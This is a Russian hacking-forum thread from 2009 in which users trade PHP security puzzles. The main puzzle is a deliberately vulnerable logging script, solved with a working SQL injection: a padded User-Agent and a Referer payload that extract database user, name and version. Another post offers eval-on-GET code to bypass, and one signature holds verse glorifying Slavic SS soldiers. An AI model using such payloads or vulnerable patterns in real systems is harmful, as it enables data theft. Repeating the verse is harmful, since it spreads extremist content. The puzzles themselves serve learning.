Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.11.2009, 18:37
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Вот задачка от меня, найдите уязвимость в коде.
Структура БД:
CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, useragent varchar(255), ip varchar(16), referer varchar(255));
PHP код:
<?php
mysql_connect('localhost', 'root', 'secretpassword');
mysql_select_db('antichat');
//Обработка переменных
function Sanitize($data_to_sanitize) {
$data_to_sanitize = addslashes($data_to_sanitize);
$data_to_sanitize = htmlspecialchars($data_to_sanitize);
return $data_to_sanitize;
}
function Sanitize_Array($value) {
$value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value);
return $value;
}
$_SERVER = array_map('Sanitize_Array', $_SERVER);
$sql = "INSERT INTO stats (ip, useragent, referer)
VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')";
mysql_query($sql);
mysql_close();
?>
|
|
|

07.11.2009, 22:04
|
|
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме: 4532332
Репутация:
1196
|
|
(Dm) уже не интересно
ЗЫ статья +5
|
|
|

08.11.2009, 08:41
|
|
Новичок
Регистрация: 20.01.2008
Сообщений: 17
Провел на форуме: 65417
Репутация:
7
|
|
да, последняя банальна..
$_SERVER['HTTP_USER_AGENT'] и $_SERVER['HTTP_REFERER']
|
|
|

08.11.2009, 09:39
|
|
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме: 1269624
Репутация:
114
|
|
Еще более компактный код в ответ на 11 вопрос
PHP код:
$str='
383 текст с числами 5838
635 еще текст 001 462
432текст564
';
$str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str);
print $str;
|
|
|

09.11.2009, 15:38
|
|
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
Провел на форуме: 492591
Репутация:
123
|
|
по поводу задания 41:
get_included_files()
функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось.
задание 42:
PHP код:
<?php
function arr($amt)
{
$a=array();
$tmp=&$a;
for($i=0;$i<$amt-2;$i++)
{
$tmp=&$tmp[0];
$tmp[0]=array();
}
return $a;
}
?>
тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)
|
|
|

11.11.2009, 12:09
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
Провел на форуме: 4358210
Репутация:
2017
|
|
PHP код:
<?php
$a = (int) $_GET['a'];
if ($_GET['a'] == 1)
exit;
elseif($a == 1)
eval ($_GET['b']);
?>
Вывести phpinfo(); всеми способами
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
|
|
|

11.11.2009, 14:53
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
Сообщение от Osip
да, последняя банальна..
если ты эт про мое задание, напиши как выполнить sql инъекцию.
__________________
Cервер cs 1.6
cs.antichat.net:27015
|
|
|

11.11.2009, 15:25
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Сообщение от (Dm)
если ты эт про мое задание, напиши как выполнить sql инъекцию.
Да очень просто... Я уже один раз встречался с подобным
Юзер-агент ставим:
Код:
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\
Реферер:
Код:
, concat_ws(0x3a,user(),database(),version())) --
И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет:
Код:
INSERT INTO stats (ip, useragent, referer)
VALUES
(
'127.0.0.1',
'000...много нулей...00\',',
concat_ws(0x3a,user(),database(),version())
)
--')
ЗЫ: Вот тут была похожая ситуация:
http://forum.antichat.ru/threadnav134652-1-10.html
|
|
|

11.11.2009, 15:33
|
|
Reservists Of Antichat - Level 6
Регистрация: 08.04.2008
Сообщений: 286
Провел на форуме: 2375131
Репутация:
1695
|
|
mailbrush, молодец) что выполнил задание... тебе +
__________________
Cервер cs 1.6
cs.antichat.net:27015
|
|
|

11.11.2009, 16:35
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме: 6490435
Репутация:
2290
|
|
Задание 006: просто зайти. Пароль не потребует 
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|